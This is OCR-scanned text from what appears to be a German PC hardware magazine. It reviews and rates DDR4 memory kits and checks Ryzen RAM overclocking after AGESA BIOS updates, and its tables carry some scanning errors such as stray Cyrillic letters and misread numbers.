GEIL-Schriftzug lässt sich in vier 
Stufen verschieben, wodurch Sie 
die RGB-LEDs wahlweise auf Rot, 
Grün oder Blau fixieren kónnen. 
In der vierten Schalterstellung 
pulsieren die Leuchtdioden in un- 
terschiedlichen Farben. Stellen Sie 
den Schalter zwischen zwei Stufen, 
erlóschen die LEDs, was aber kei- 
ne offizielle Funktion ist. Móchten 


P 
PV416G360C6xX 


Hardware -лгеҥг 


4 м -— 


Produkt Trident Z T-Force Xtreem Viper Flare X 
Hersteller (Website) G.Skill (gskill.com) Teamgroup (teamgroupinc.com) Patriot (patriotmemory.com) G.Skill (gskill.com) 
Produktnummer F4-3600C 16D-16GTZKW TXGD416G4000HC18EDCO1 PV416G360C6K F4-3200C14D-16GFX 


PCGH-Preisvergleich www.pcgh.de/preis/1505578 


www.pcgh.de/preis/1593236 


www.pcgh.de/preis/1539744 


www.pcgh.de/preis/1590064 


Preis/Preis-Leistungsverhältnis 


Ca. € 200,-/befriedigend 


Noch nicht verfügbar 


Ca. € 200,-/befriedigend 


Ca. € 190,-/befriedigend 


Preis pro GiByte Ca. € 12,50 Entfällt 
Ausstattung (20 %) 2,10 2,11 
Kühlkörper Grobe Kühlrippen Grobe Kühlrippen 


Ca. € 12,50 
2,17 
Grobe Kühlrippen 


Ca. € 11,88 
2,15 
Schlaufen 


Besondere Ausstattung 


Aufkleber (G.Skill-Logo) 


Nicht vorhanden 


2 Aufkleber (Viper-Logo) 


Aufkleber (G.Skill-Logo) 


Infos auf Aufkleber 


Kapazität, Takt, Latenzen (CAS, RCD, RP, RAS), 


Kapazität, Takt, Latenzen (CAS, RCD, RP, RAS), 


Kapazität, Takt, CAS-Latenz, Spannung 


Kapazität, Takt, Latenzen (CAS, RCD, RP, RAS), 


* System: Core i7-6700K, Asus Maximus VIII Extreme (3401), CR 2T, Zotac GT 640, Win 10 64 Bit, НСІ Memtest Pro v4.0 ** Die erreichten Ergebnisse können je nach 


... *** Tatsáchliche Temperatur, normiert auf 20 °С — keine Delta-Werte **** DDR4-4000-Messreihe mit Asus Maximus IX Code (0906) 


Kit/System variieren 


Undervolting bei Standardtakt/-latenzen* 


-5 % (1,280 Volt) 


-1 % (1,335 Volt)**** 


Spannung Spannung Spannung 
Eigenschaften (20 %) 2,00 1,89 1,97 2,19 
Kapazität 2 x 8.192 MiByte 2 х 8.192 MiByte 2 x 8.192 MiByte 2 x 8.192 MiByte 
Vom Hersteller garantierter Takt DDR4-3600 DDR4-4000 DDR4-3600 DDR4-3200 
Vom Hersteller garantierte Latenzen 16-16-16-36 18-20-20-44 16-16-16-36 14-14-14-34 
Vom Hersteller vorgesehene Spannung 1,35 Volt 1,35 Volt 1,35 Volt 1,35 Volt 
XMP-Werte (in UEFI auswählbar) DDR4-3600, 16-16-16-36, 1,35 Volt (XMP 2.0)| DDR4-4000, 18-20-20-44, 1,35 Volt (XMP 2.0) | DDR4-3600, 16-16-16-36, 1,35 Volt (XMP 2.0) | DDR4-3200, 14-14-14-34, 1,35 Volt (XMP 2.0) 
Hóhe/Breite mit Kühler 4,4/1,0 cm 4,8/1,0 cm 4,1/0,9 cm (Hóhe ohne Aufsatz: 3,4 cm) 4,0/0,9 cm 
Temperatur (Last, DDR4-2133, 1,35 Volt)*** |34,4 °C 326 °C 35,0 °C 33.9 °C 
Chips und Ranks pro Modul 8/1 Stück 8/1 Stück 8/1 Stück 8/1 Stück 
Chips (nicht garantiert!)/Thermalsensor Samsung K4A8G085WB-BCPB/ja Samsung K4A8G085WB-BCPB/ja Samsung KAABG085WB-BCPB(?)/nein Samsung KAA8G085WB-BCPB(?)/ja 
Leistung (60 %)** 1,51 1,59 1,62 177 


-4 % (1,295 Volt) 


-3 % (1,315 Volt) 


1,20 V: Stab. Latenzen (DDR4-2133/2400/2666) 


11-11-11-33/12-12-12-36/13-13-13-39 


11-11-11-33/12-12-12-36/14-14-14-42 


11-11-11-33/12-12-12-36/14-14-14-42 


11-11-11-33/12-12-12-36/14-14-14-42 


1,35 V: Stab. Latenzen (DDR4-3000/3333/3600) 


13-13-13-39/14-14-14-42/15-15-15-45 


13-13-13-39/14-14-14-42/16-16-16-48 


13-13-13-39/14-14-14-42/16-16-16-48 


13-13-13-39/15-15-15-45/16-16-16-48 


FAZIT 
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© DDR4-3600 garantiert, sehr schnell 
© Sehr gute Tuning-Eigenschaften, kühl 


© Preis pro GiByte, hoher Kühler 


Wertung: 1,72 


© DDR4-4000 garantiert, sehr schnell 
© Sehr gute Tuning-Eigenschaften, kühl 
© Stellt hohe Anforderungen an CPU/Board © Kühleraufsatz demontierbar 


Wertung: 1,76 


Kopierrate bei Std.-Takt/-Latenzen (Aida64) 45.740 MB/s 48.680 MB/s** ** 45.596 MB/s 42.496 MB/s 
Latenz bei Standardtakt/-latenzen (Aida64) —|41,9 Nanosekunden 41,6 Nanosekunden** * * 42,2 Nanosekunden 42,4 Nanosekunden 
3 GB komprim./verschlüsseln bei Std.-Takt/-Lat. |173 Sekunden 172 Sekunden**** 173 Sekunden 176 Sekunden 


© DDR4-3600 garantiert, sehr schnell 
© Sehr gute Tuning-Eigenschaften 


Wertung: 1,80 


© DDR4-3200 garantiert, sehr schnell 
© Tuning-Eigenschaften, DDR4-3600 stabil 
© Preis pro GiByte 


Wertung: 1,93 
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SPECIAL | DDR4-RAM geprüft 


Sie haben ein Fenster im Seitenteil? Die Hälfte der Testmuster zeigen ein Logo auf der 


Oberseite des Kühlkörpers, darunter die 


drei Kits mit RGB-LEDs. 


Beim Patriot-Kit PV416G240C5K liegen die Chips (anders als beim DDR4-3600-Kit) 
recht weit unten. Das Wärmeleitpad ist zu kurz und bedeckt die Chips nur zur Hälfte. 


Sie die Beleuchtung deaktivieren, 
dann entfernen Sie besser das 
mitgelieferte Y-Stromkabel 
Anschluss an einen 3-Pin-Lüfterste- 
cker. Die zweite Steuerungsmög- 
lichkeit besteht darin, die RAM- 
Sticks an einen 4-Pin-RGB-Header 
auf dem Mainboard anzuschließen. 
Dann können Sie die Konfiguration 
über die Software des Mainboard- 
Herstellers vornehmen. Anders als 
bei Corsair und G.Skill lässt sich 
relativ leicht erkennen, wo sich die 
einzelnen LEDs unter der Kunst- 
stoffhaube befinden. Falls Sie einen 
möglichst gleichmäßigen Leucht- 
eindruck bevorzugen, ist das GEIL- 
Kit nicht die erste Wahl. 


zum 


Ballistix Sport (BLS2C16G4D26BFSE): 
Hohe Kapazität und hoher Takt - das 
geht. Als einzige 32-GiByte-Lösung 
im Testfeld umfasst dieses Spei- 
cherset lediglich zwei Riegel. Sie 
sind für DDR4-2666 (16-18-18-38) 
bei 1,20 Volt freigegeben. Während 
die Transferrate auf dem üblichen 
Niveau liegt, ist die in Aida64 ge- 
messene Latenz vergleichsweise 
hoch - wohl ein Nebeneffekt von 


konservativ gesetzten Subtimings, 
um einen stabilen Betrieb bei die- 
ser Speichermenge zu gewährleis- 
ten. Das rächt sich erwartungsge- 
mäß im 7-Zip-Benchmark, für den 
die High-End-Lösungen rund eine 
halbe Minute weniger benötigen. 


Das ist angesichts des geringen 
Preises pro GiByte zu verschmer- 
zen, zumal dem Ballistix-Duo mit 
sehr kompakten Kühlkörpern ein 
erstaunliches Tuning-Potenzial in- 
newohnt: Fans knackiger Latenzen 
kommen zwar nicht auf ihre Kos- 
ten, doch mit entspannten Timings 
gelingt es uns, die mit Micron- 
D9TNW-Chips bestückten Riegel 
bei 1,35 Volt bis auf DDR4-3600 
zu übertakten. Angesichts dieser 
positiven Überraschung handelt es 
sich um einen waschechten Preis- 
Leistungs-Tipp. Nach unserer Ein- 
schätzung dürften sich nur wenige 
16-GiByte-Module in dieser Taktre- 
gion bewegen. 


Patriot Viper (PVE416G240C5KRD): 
Für sparsame Anwender interes- 
sant. Bei einem der günstigsten 
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Auszug aus Testtabelle 
mit 23 Wertungskriterien 


Produkt Trident Z RGB Tactical XPG 71 Vengeance RGB 
Hersteller (Website) G.Skill (gskill.com) Ballistix (ballistixgaming.de) Adata (adata.com) Corsair (corsair.com) 
Produktnummer F4-3200C16Q-32GTZR BLT2C8G4D30AETA AX4U300038G16-DRZ CMR32GX4MAC3000C15 (ver 4.31) 


PCGH-Preisvergleich 


www.pcgh.de/preis/1564347 


www.pcgh.de/preis/1464309 


www.pcgh.de/preis/1586224 


www.pcgh.de/preis/1595337 


Preis/Preis-Leistungsverháltnis 


Ca. € 320,-/befriedigend 


Ca. € 150,-/befriedigend 


Ca. € 140,-/befriedigend 


Ca. € 310,-/ausreichend 


ware), 2 Aufkleber (G.Skill-Logo) 


Preis pro GiByte Ca. € 10,- Ca. € 9,38 Са. Є 8,75 Са. € 9,69 

Ausstattung (20 %) 1,75 2,26 2,22 1,81 

Kühlkörper Metallkörper mit Kunststoffeinsatz Standard-Heatspreader Schlaufen Metallkörper mit Kunststoffeinsatz 
Besondere Ausstattung RGB-LED-Beleuchtung (Regelung via Soft- Nicht vorhanden Nicht vorhanden RGB-LED-Beleuchtung (Regelung via Software) 


Infos auf Aufkleber 


Kapazität, Takt, Latenzen (CAS, RCD, RP, RAS), 


Takt, Latenzen (CAS, RCD, RP, RAS), Spannung, 


Takt, Latenzen (CAS, RCD, RP), Spannung, in 


Kapazität, Takt, Latenzen (CAS, RCD, RP, RAS), 


Undervolting bei Standardtakt/-latenzen* 


-10 % (1,220 Volt) 


-11 96 (1,205 Volt) 


Spannung in Produktnummer: Kapazität Produktnummer: Kapazität Spannung 
Eigenschaften (20 %) 2,17 2,47 2,59 2,23 
Kapazität 4 x 8.192 MiByte 2 x 8.192 MiByte 2 x 8.192 MiByte 4 x 8.192 MiByte 
Vom Hersteller garantierter Takt DDR4-3200 DDR4-3000 DDR4-3000 DDR4-3000 
Vom Hersteller garantierte Latenzen 16-18-18-38 15-16-16-35 16-18-18-36 15-17-17-35 
Vom Hersteller vorgesehene Spannung 1,35 Volt 1,35 Volt 1,35 Volt 1,35 Volt 
XMP-Werte (in UEFI auswählbar) DDR4-3200, 16-18-18-38, 1,35 Volt (XMP 2.0) | DDR4-3000, 15-16-16-35, 1,35 Volt (XMP 2.0)|DDR4-3000, 16-18-18-36, 1,35 Volt (XMP 2.0)|DDR4-3000, 15-17-17-35, 1,35 Volt (XMP 2.0) 
Hóhe/Breite mit Kühler 4,4/1,0 cm 3,8/0,7 cm 4,4/0,8 cm 5,0/1,0 cm 
Temperatur (Last, DDR4-2133, 1,35 Volt)*** 137,2 °C SEG 35,8 °С 38,5 °C 
Chips und Ranks pro Modul 8/1 Stück 16/2 Stück 8/1 Stück 8/1 Stück 
Chips (nicht garantiert!)/Thermalsensor SK Hynix H5ANBG8NAFR-TFC/nein Samsung KAA4G085WE-BCPB/nein SK Hynix H5AN8GBNAFR-TFC/nein SK Hynix H5AN8G8NCFR-TFC/ja 
Leistung (60 %)** 2,26 2,24 2,25 2,71 


-18 % (1,110 Volt) 


-11 96 (1,205 Volt) 


1,20 V: Stab. Latenzen (DDR4-2133/2400/2666) 


11-12-12-36/13-13-13-39/14-15-15-45 


11-12-12-36/13-13-13-39/14-15-15-45 


11-12-12-36/12-13-13-39/13-14-14-42 


11-12-12-36/13-14-14-42/14-16-16-48 


1,35 V: Stab. Latenzen (DDR4-3000/3333/3600) 


14-15-15-45/16-17-17-51/nicht stabil 


13-16-16-48/15-18-18-54/nicht stabil 


14-15-15-45/17-17-17-51/nicht stabil 


15-17-17-51/nicht stabil/nicht stabil 
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© 32 GiByte Kapazität, RGB-LEDs 
© DDR4-3200 garantiert, schnell 
© Hoher Kühler, Preis pro GiByte 


Wertung: 2,14 


© Schnell (dank Dual-Rank-Aufbau) 


© DDR4-3333 stabil 
© Preis pro GiByte 


Wertun 


Kopierrate bei Std.-Takt/-Latenzen (Aida64) |43.358 MB/s 41.829 MB/s 38.574 MB/s 41.048 MB/s 
Latenz bei Standardtakt/-latenzen (Aida64) [48,6 Nanosekunden 47,7 Nanosekunden 48,3 Nanosekunden 48,9 Nanosekunden 
3 GB komprim./verschlüsseln bei Std.-Takt/-Lat. | 178 Sekunden 177 Sekunden 191 Sekunden 181 Sekunden 


© DDR4-3333 stabil 


© Große Undervolting-Reserven 
© Langsamer pro MHz (Single Rank) 


Wertung: 2,31 


g: 2,29 


© 32 GiByte Kapazitàt, RGB-LEDs 
© Geringe Tuning-Reserven, hoher Kühler 
© Preis pro GiByte 


Wertung: 2,43 
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* System: Core i7-6700K, Asus Maximus VIII Extreme (3401), CR 2T, Zotac GT 640, Win 10 64 Bit, НСІ Memtest Pro v4.0 ** Die erreichten Ergebnisse können je nach Kit/System 


.. *** Tatsächliche Temperatur, normiert auf 20 °C — keine Delta-Werte 


variieren . 


DDR4-RAM geprüft | SPECIAL 


16-GiByte-Kits am Markt mit einer 
Freigabe für DDR4-2400 (15-15-15- 
35) beobachten wir eine Beson- 
derheit: Üblicherweise ist ein Mo- 
dul mit acht Chips auf jeder Seite 
äußerlich nicht nur double-sided, 
sondern intern auch dual-ranked 
aufgebaut. Das Viper-Kit ist eine 
der wenigen Ausnahmen, die da- 
ran erinnert, dass die Anzahl der 
Ranks nicht mit dem bloßen Auge, 
sondern nur per Software erfasst 
werden kann. Abgesehen davon 
hält die günstige Speicherlösung 
von Patriot wenig Besonderheiten 
bereit: Undervolting und Latenz- 
Tuning sind beim Standardtakt in 
einem durchschnittlichen Umfang 
möglich, doch die Overclocking- 
Reserven sind insgesamt eher 
bescheiden. Immerhin entlocken 
wir den Modulen einen stabilen 
DDR4-3000-Betrieb bei einer Be- 
triebsspannung von 1,35 Volt. Die 
verbauten Chips lassen sich nicht 
auslesen, mit 43,3 °C werden sie 
aber vergleichsweise warm unter 
dem recht leichten, silber-roten 
Kühlkörper. Grund zur Sorge ist 
das natürlich noch nicht, Sparfüch- 


se ohne große Overclocking-Pläne 
können daher zugreifen. 


Patriot Viper (PV416G240C5K): We- 
nig Reserven, wenig Kontakt. Auf- 
grund der gleichen Eckdaten könn- 
te man vermuten, dass Patriot bei 
diesem DDR4-2400-Kit lediglich ei- 
nen anderen Kühlkörper verbaut - 
doch weit gefehlt: Die Module sind 
zwar ebenfalls single-ranked orga- 
nisiert, doch nur einseitig bestückt. 
Unterschiede gibt es auch beim 
Tuning-Potenzial, welches bei die- 
sem Kit sehr mager ausfällt: Ein 
wenig Undervolting oder minimal 
verkürzte Timings sind drin, das 
Anheben des Speichertakts quit- 
tiert das System aber recht schnell 
mit Instabilität. Der verbaute Heat- 
spreader überzeugt durch seinen 
abschraubbaren Aufsatz, doch lei- 
der bedeckt er nur knapp die Hälf- 
te der Oberfläche aller Chips: Das 
Wärmeleitpad reicht nicht weit 
genug hinab zur Kontaktleiste, so- 
dass der untere Teil der Chips seine 
Warme lediglich an die Platine und 
die Umgebungsluft abgeben kann. 
Das ist aber zu verschmerzen: Die 


PREIS-LEISTUNGS-TIPP 


DDRA-RAM 


Auszug aus Testtabelle 
mit 23 Wertungskriterien 


Ballistix 
8052166408 


Hardware 


a — er - = 
==: LI 


Sticker für Fans: G.Skill und P. 
deten Motiven bei. 


gemessene Wärmeentwicklung 
liegt mit 37,6 °C im Mittelfeld. 


Abschließend möchten wir daran 
erinnern, dass die meisten Herstel- 
ler keine Chipgarantie geben und 
die Tuning-Reserven selbst beim 
Einsatz identischer Chips variieren 
und durch die Plattform beeinflusst 
werden. Die von uns ausgetesteten 
Limits können bei Ihnen also höher, 
aber auch niedriger liegen. (sw) 


A N 
SPAR-TIPP 


atriot legen ihren Produkten Aufkleber mit den abgebil- 


Fazit Нагішаге 


DDR4-Marktübersicht 

An Samsungs-Chips führt im High- 
End-Segment aufgrund der Tuning-Re- 
serven aktuell kein Weg vorbei. Für Ca- 
semodder sind die RGB-LED-Kits eine 
schöne Neuheit. Die 16-GiByte-Module 
des Ballistix-Sport-Kits zeigten sich un- 
erwartet taktfreudig, Patriots DDR4- 
2400-Kit PVEA16G240C5KRD ist für 
Sparfüchse ein Blick wert. 


Patriot 
P/416G200C HEN 


Нагйшаге 


Produkt Evo X Sport Viper 
Hersteller (Website) GEIL (geil.com.tw) Ballistix (ballistixgaming.de) Patriot (patriotmemory.com) Patriot (patriotmemory.com) 
Produktnummer GEX416GB3000C15ADC BLS2C16G4D26BFSE PVE416G240C5KRD PV416G240C5K 


PCGH-Preisvergleich www.pcgh.de/preis/1529919 


www.pcgh.de/preis/1572721 


www.pcgh.de/preis/1494224 


www.pcgh.de/preis/1343400 


* System: Core i7-6700K, Asus Maximus VIII Extreme (3401), CR 2T, Zotac GT 640, Win 10 64 Bit, НСІ Memtest Pro v4.0 ** Die erreichten Ergebnisse können je nach Kit/System 


variieren 


.. *** Tatsáchliche Temperatur, normiert auf 20 °C — keine Delta-Werte 


oder am Modul), Y-Kabel für 3-Pin-Stromver- 
sorgung, 2 Y-Kabel für RGB-Ul-Steuerung 


Preis/Preis-Leistungsverhältnis Ca. € 150,-/ausreichend Ca. € 250,-/gut Ca. € 120,-/gut Ca. € 120,-/befriedigend 
Preis pro GiByte Ca. € 9,38 Ca. € 7,81 Ca. € 7,50 Ca. € 7,50 
Ausstattung (20 %) 1,76 2,26 2,22 2,17 

Kühlkörper Metallkörper mit Kunststoffeinsatz Standard-Heatspreader Schlaufen Grobe Kühlrippen 
Besondere Ausstattung RGB-LED-Beleuchtung (Regelung via Software | Nicht vorhanden 2 Aufkleber (Viper-Logo) 2 Aufkleber (Viper-Logo) 


Infos auf Aufkleber 


Kapazität, Takt, Latenzen (CAS, RCD, RP, RAS), 
Spannung 


Takt, Latenzen (CAS, RCD, RP, RAS), Spannung, 
in Produktnummer: Kapazität 


Kapazität, Takt, CAS-Latenz, Spannung 


Kapazität, Takt, CAS-Latenz, Spannung 


Undervolting bei Standardtakt/-latenzen* 


-13 % (1,175 Volt) 


-5 % (1,140 Volt) 


Eigenschaften (20 %) 2,65 2,16 2,99 2,89 

Kapazität 2 x 8.192 MiByte 2 x 16.384 MiByte 2 х 8.192 MiByte 2 х 8.192 MiByte 

Vom Hersteller garantierter Takt DDR4-3000 DDR4-2666 DDR4-2400 DDR4-2400 

Vom Hersteller garantierte Latenzen 15-17-17-35 16-18-18-38 15-15-15-35 15-15-15-35 

Vom Hersteller vorgesehene Spannung 1,35 Volt 1,20 Volt 1,20 Volt 1,20 Volt 

XMP-Werte (in UEFI auswählbar) DDR4-3000, 15-17-17-35, 1,35 Volt (XMP 2.0) |DDR4-2666, 16-18-18-38, 1,20 Volt (XMP 2.0)|DDR4-2400, 15-15-15-35, 1,20 Volt (XMP 2.0) | DDR4-2400, 15-15-15-35, 1,20 Volt (XMP 2.0) 
Hóhe/Breite mit Kühler 6,0/1,0 cm 3,3/0,7 cm 4,3/0,8 cm 4,1/0,9 cm (Höhe ohne Aufsatz: 3,4 cm) 
Temperatur (Last, DDR4-2133, 1,35 Volt)*** |42,1 °C 40,7 *C 43,3 °C 37,6 °C 

Chips und Ranks pro Modul 8/1 Stück 16/2 Stück 16/1 Stück 8/1 Stück 

Chips (nicht garantiert!)/Thermalsensor SK Hynix HSAN8G8N?FR-TFC/ja Micron D9TNW/nein ?/nein nein 

Leistung (60 %)** 2,66 3,07 3,58 4,03 


-8 % (1,105 Volt) 


-5 % (1,140 Volt) 


1,20 V: Stab. Latenzen (DDR4-2133/2400/2666) 


11-12-12-36/12-14-14-42/13-15-15-45 


12-13-13-39/14-14-14-42/15-16-16-48 


12-12-12-36/13-13-13-39/nicht stabil 


13-13-13-39/14-14-14-42/nicht stabil 


1,35 V: Stab. Latenzen (DDR4-3000/3333/3600) 


14-17-17-51/nicht stabil/nicht stabil 


16-18-18-54/17-19-19-57/19-21-21-63 


15-16-16-48/nicht stabil/nicht stabil 


Nicht stabil/nicht stabil/nicht stabil 


FAZIT 
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© Auf zwei Arten regelbare RGB-LEDs 
© Hoher Kühlkörper, warm 


© Geringe Tuning-Reserven 


Wertung: 2,48 


© 32 GiByte Kapazität, Preis pro GiByte 
© DDR4-3600 möglich, sehr kompakt 
© Nur DDR4-2666 garantiert, warm 


Wertung: 2,73 


Kopierrate bei Std.-Takt/-Latenzen (Aida64) 38.513 MB/s 35.871 MB/s 31.769 MB/s 31.912 MB/s 
Latenz bei Standardtakt/-latenzen (Aida64) [47,1 Nanosekunden 58,9 Nanosekunden 53,3 Nanosekunden 52,1 Nanosekunden 
3 GB komprim./verschlüsseln bei Std.-Takt/-Lat. |188 Sekunden 206 Sekunden 208 Sekunden 208 Sekunden 


© Preis pro GiByte 
© Immerhin DDR4-3000 stabil 
© Nur DDR4-2400 garantiert, warm 


Wertung: 3,19 
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© Preis pro GiByte, Aufsatz demontierbar 
© Nur DDR4-2400 garantiert 
© Geringe Tuning-Reserven 


Wertung: 3,43 
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Ryzen: Die RAM-Situation 2 Monate nach dem Debüt 


G.SKILL 
TIDE TZ 


)-16GTZKW 
G.Skill Trident Z F4-3600C16D- 
16GTZKW (2 x 8 GiB, 
Samsung B-Die, Single Rank) 
— Benchmark-Einstellungen: omae: KE: 
DDR4-3600, 16-16-16-36 2T IMEEM IU TEN е 


SLA пан ç 


TIEMEN TZ 


G.Skill Trident Z F4-3200C16Q- 
32GTZR (4 x 8 GiB, SK Hynix 
AFR, Single Rank) 

— Benchmark-Einstellungen: 
DDR4-3200, 16-18-18-36 1T 


<<< 


Corsair Vengeance RGB 
CMR32GX4M4C3000C15 (4 x 8 
GiB, SK Hynix CFR, Single Rank) 
— Benchmark-Einstellungen: 


DDR4-3066, 16-17-17-35 1T ` mmm 


G.Skill Flare X F4-3200C14D- 

16GFX (2 x 8 GiB, Samsung 

B-Die, Single Rank) 

— Benchmark-Einstellungen: 

DDR4-3200, 14-14-14-34 1T 
x ——— ` 


peni. 


HHN E ETE TO TE I ` 
и 


Ballistix Sport 
BLS2C16G4D26BFSE (2 x 16 
GiB, Micron D9TNW, Dual Rank) 
— Benchmark-Einstellungen: 
DDR4-3066, 16-18-18-38 1T 


ess, 


ULC OI 


L IUDIƏIIMIMA ШШЩЩ 


Für den Praxis-Check nutzen wir fünf Kits aus der aktuellen Marktübersicht mit 16 bis 
32 GiByte und Speicherbausteinen von Micron, Samsung und SK Hynix. 


EB HWINFO64 v5.47-3115 Sensor Status [7 values hidde D 
Sensor Current Minimum Maximum Average ^ 
M Memory Tmings 

© Memory Clock 1,666.6 MHz 1,666.4 MHz 1,666. 7 MHz 1,666.6 MHz 

© Memory Clock Ratio 16.67 x 16.67 x 16.67 x 16.67 x 

O тсаѕ 16T 16T 16T 

O Trcd 16T 16T 16T 

Өтр 16T 16T 16T 

Ө Tras 36T 36T 36T 

O Trc 76T 76T 76T 

88 Chassis1 1,013 RPM 1,000 RPM 1,027 RPM 1,010 RPM 


Ё cruz — x 


CPU | Caches | Mainboard Memory | SPD | Graphics | Bench | About | 
General 
Type DDR4 
Size 16 GBytes 


Channel # Dual 


Timings 


Manchmal - oft bei höheren RAM-Multiplikatoren als DDR4-3200 - gibt CPU-Z keine 
Taktinformation aus. Nutzen Sie dann einfach ein anderes Tool wie Hwinfo64. 
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RE machte zum Start Anfang 
ärz keinen guten Eindruck 


beim Thema Speicherkompatibilität 
und RAM-Overclocking. Viele Spei- 
cherkits ließen sich nur bei niedri- 
gen Taktfrequenzen nutzen, zudem 
standen verhältnismäßig wenige 
Optionen im BIOS zur Verfügung, 
um Ryzen zur Zusammenarbeit mit 
flottem Speicher zu bewegen. 


AGESA macht's möglich 

Mit dem AGESA-Update 1.0.0.4(a) 
verbesserte AMD bereits die RAM- 
Kompatibilität. Je nach System 
waren höhere stabile RAM-Taktfre- 
quenzen und kürzere Startzeiten 
zu beobachten. Mit dem AGESA- 
Update 1.0.0.6 setzt das Unterneh- 
men seine Bemühungen fort und 
erweitert den Funktionsumfang. 
Anwender haben nun nicht nur 
Zugriff auf eine sehr große Aus- 
wahl an Subtimings, sondern auch 
mehr Möglichkeiten beim einstell- 
baren RAM-Takt: Dieser war bisher 
auf DDR4-3200 bei 100 MHz Re- 
ferenztakt beschränkt. Deutliche 
Steigerungen erforderten zwangs- 
läufig eine Anhebung des Referenz- 
takts, was nur wenige Mainboards 
mit einem externen Taktgeber 
ermöglichen. Zudem erfolgt über 
105 MHz einer Drosselung auf PCI- 
Express 2.0 und ab 145 MHz auf 
РСІ-Ехргеѕѕ 1.0, was wiederum 
schnelle Grafikkarten und NVME- 
SSDs bremst. Mit einem aktuellen 
BIOS - wir verwenden Version 
9945 für das X370-Mainboard 
Asus Crosshair VI Hero - stehen 
die zusátzlichen Taktstufen DDRÁ- 
3333/3466/3600/3733/3866 und 
4000 zur Verfügung. 


Wir prüfen mit fünf unterschiedli- 
chen, links oben abgebildeten Kits, 
wie sich die Situation mit dem neu- 
en BIOS darstellt. Wir beginnen mit 
dem Testsieger aus der aktuellen 
Marktübersicht, der sich recht ein- 
fach auf DDR4-3200 bewegen lässt. 
Der DDR4-3600-Betrieb, für den 
die Riegel spezifiziert sind, gelingt 
uns erst nach einigen Umwegen 
wie dem Austesten unterschiedli- 
cher Strap- und Referenztaktkom- 
binationen und dem manuellen Ab- 
gleich diverser Subtimings mit den 
einprogrammierten XMP-Werten. 
Für einen stabilen Betrieb sind al- 


lerdings meistens nur wenige Opti- 
onen besonders wichtig. 


Schlüsseloptionen 

Eine der ersten Anlaufstellen 
für Ryzen-Nutzer sollte die SOC- 
Spannung sein, mit der auch der 
Speichercontroller des Prozessors 
versorgt wird. Robert Hallock von 
AMD empfiehlt eine angehobene 
SOC-Spannung von 1,1 Volt. Der 
für Asus aktive Extrem-Übertakter 
Jon „elmor“ Sandström rät dazu, 
über längere Zeit maximal 1,2 Volt 
zu nutzen, um keinen Defekt zu ris- 
kieren. Uns fällt die Wahl einfach, 
denn für unser angepeiltes Taktziel 
DDR4-3600 sind 1,1 Volt zu wenig, 
aber 1,2 Volt zu viel: Da sich das 
Startverhalten ab 1,17500 Volt ver- 
schlechtert, stellen wir die „CPU 
SOC Voltage“ auf 1,16250 Volt. 


Eine weitere, nach unseren Er- 
fahrungen entscheidende Einstel- 
lung hört auf den Namen „ProcO- 
DT_SM“ und beeinflusst, wie die 
Spannung eines Taktsignals bei der 
Kommunikation zwischen CPU 
und RAM von Seiten des Prozessors 
ausgelöscht wird, was direkt die Si- 
gnalqualität beeinflusst. AMD zufol- 
ge liegt eine sinnvolle Einstellung 
der Impedanz im Bereich zwischen 
40 und 60 Ohm. Werte über 80 
Ohm sind dem Hersteller zufolge 
für Rekordversuche mit flüssigem 
Stickstoff gedacht. Ob ein höherer 
oder niedrigerer Ohm-Wert die 
Taktreserven erhöht, hängt vom 
Speicherkit ab und sollte immer 
individuell ausgetestet werden. Auf 
Riegeln mit Samsung B-Die hat sich 
im Testlabor die Stufe 53,3 Ohm 
bewährt. 


Nach der Justierung dieser beiden 
Parameter ist unser Testsystem 
grundsätzlich für DDR4-3600 ge- 
eignet, allerdings nur mit einer 
Command Rate von 2T. Das Her- 
absetzen auf IT ist zwar im BIOS 
möglich (zum Ryzen-Launch muss- 
ten wir dafür noch unterschied- 
liche BIOS-Versionen nutzen), 
bringt aber mehr Nach- als Vorteile: 
Das System ist damit sehr instabil, 
Spiele stürzen teilweise noch vor 
dem Erscheinen des Hauptmenüs 
ab. Daran ändert auch die Funk- 
tion „Gear Down Mode“ nichts, 
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Aida 64 (Kopierrate) 


7-Zip: Ca. 3 GB komprimieren und verschlüsseln 


3.900 MHz Kerntakt, v5.90.4200 (Bench-DLL 4.3.741-x64) 


2x16 D9TNW 3066/16 1T DR 
2x8 B-Die 3200/14 1T SR 

2x8 B-Die 3600/16 2T SR rdrdSC 
4x8 B-Die 3200/14 1T S 

4x8 AFR 3200/16 1T S 

4x8 CFR 3066/16 1T S 

2х8 B-Die 3600/16 2T S 

4x8 B-Die 2133/11 1T S 


1 
R 
R 
R 
R 
R 


33,6 


34,6 (+3 %) 


44,8 (+33 %) 
44,5 (+32 %) 
44,1 (+31 96) 
42,5 (+26 96) 
42,4 (+26 96) 
40,5 (+21 96) 


3.900 MHz Kerntakt, LZMA2-Kompression (Stárke: Ultra), AES256-verschlüsselt 


4x8 B-Die 3200/14 1T SR 175 (-12 96) 
4x8 AFR 3200/16 1T SR 181 (-9 96) 
2x16 D9TNW 3066/16 1T DR 185 (-7 %) 
4x8 CFR 3066/16 1T SR 186 (-7 96) 
4x8 B-Die 2133/11 1T SR 199 
2x8 B-Die 3200/14 1T SR 211 (+6 90) 
2x8 B-Die 3600/16 2T SR rdrdSC1 213 (+7 96) 
2x8 B-Die 3600/16 2T SR 214 (+8 96) 


System: Ryzen 7 1800X, Asus Crosshair VI Hero (BIOS 9945), Auto-Subtimings, MSI GTX Kopierrate System: Ryzen 7 1800X, Asus Crosshair VI Hero (BIOS 9945), Auto-Subtimings, MSI GTX Sekunden 
1080 Gaming X 8G; Win 10 64 Bit, Geforce 378.78 WHQL (HQ) Bemerkungen: Die PS. 1080 Gaming X 8G; Win 10 64 Bit, Geforce 378.78 WHQL (HQ) Bemerkungen: Zwei Besser 
DDR4-3600-Lósung benötigt eine Subtiming-Anpassung, sonst geht Leistung verloren. Single-Rank-Sticks sind langsam, vier Ranks (über zwei oder vier Module) sollten es sein. 
Aida 64 (Zugriffszeit) x264 (max. Threads): UHD-Video umwandeln 
3.900 MHz Kerntakt, v5.90.4200 (Bench-DLL 4.3.741-x64) 3.900 MHz Kerntakt, r2762-10b 64 Bit, Multi-Threading 
2x8 B-Die 3600/16 2T SR 64,2 (-27 %) 4x8 B-Die 3200/14 1T SR 5,64 (+3 %) 
2x8 B-Die 3600/16 2T SR rdrdSC1 68,1 (-23 %) 4x8 AFR 3200/16 1T SR 5,61 (+2 96) 
2x8 B-Die 3200/14 1T SR 71,5 (-19 %) 2x8 B-Die 3600/16 2T SR rdrdSC1 5,59 (4-2 96) 
